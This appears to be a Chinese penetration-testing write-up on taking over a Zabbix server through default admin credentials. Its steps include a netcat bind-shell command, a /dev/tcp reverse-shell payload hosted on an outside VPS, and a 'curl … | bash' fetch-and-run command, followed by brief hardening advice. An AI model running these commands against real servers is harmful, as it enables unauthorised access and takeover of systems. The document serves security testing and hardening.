Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。管理员在安装配置Zabbix过程中,使用了弱口令或默认的用户名与口令(Admin/zabbix),这样,Zabbix服务器的用户认证就形同虚设。攻击者可以创建“system.run[command,]”监控项执行命令,甚至获取服务器shell,进行各种挖矿行为。
测试过程
下面是获取Zabbix Admin口令的情况下,如何获取服务器shell的过程。
1. 在“管理-->脚本”页面中创建一个script,如下图:
“执行在”选择Zabbix 服务器,“命令”里输入:
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 12345 > /tmp/tmp_fifo
意思是用nc在12345端口上绑定一个反弹shell。
2. 在“监测中-->问题”此界面点击一台服务器,随即会弹出一个“脚本”选项卡,点击上面创建的"nc shell"。
这样上面的命令就会被执行。但是,由于选择的这台服务器没有安装nc,导致命令执行不成功。既然没有安装nc,那就给这台服务器安装nc呗!
3.创建一个脚本,在命令里输入“yum –y install nc",安装nc。
4.执行步骤3当中的脚本失败,显示需要root权限才能执行。
到这步,利用nc建立正向连接的shell是没戏了。
5.这时,在“配置-->主机”界面可以看到Zabbix服务器监控着Linux平台的服务器。
6.此时脑子回想着Linux服务器get shell的方法。既然能够命令执行,那我们是不是可以在一台服务器上开放一个特定的端口,构造好反弹shell的代码,只要有客户端连接此端口,那么客户端的shell就会反弹到我们那台服务器上。
7.OK,那按照上面思路先在一个VPS上搭建一个Web服务器,在网站根目录下创建一个index.html,内容如下:
sh -i >& /dev/tcp/52.**.***.78/12345 0>&1
意思是与52..*.78这台服务器的12345端口建立tcp连接,并将自己的shell反弹到此服务器。
8.在52..*.78这台服务器监听12345端口。
9.然后在Zabbix服务器上创建一个脚本,用于反弹shell的建立。
在命令里输入“curl 52..*.78|bash”。
执行上面的脚本
10.反弹shell建立成功。
zabbix安全加固
下面说一下如何对zabbix安全加固,防止这种情况发生:
1、很重要的一点,zabbix的登录口令一定要复杂,不要用默认口令或弱口令;
2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
3、禁止agent执行system.run,不要设置EnableRemoteCommands=1。
* 本文作者itlance_ouyang,转载注明来自FreeBuf.com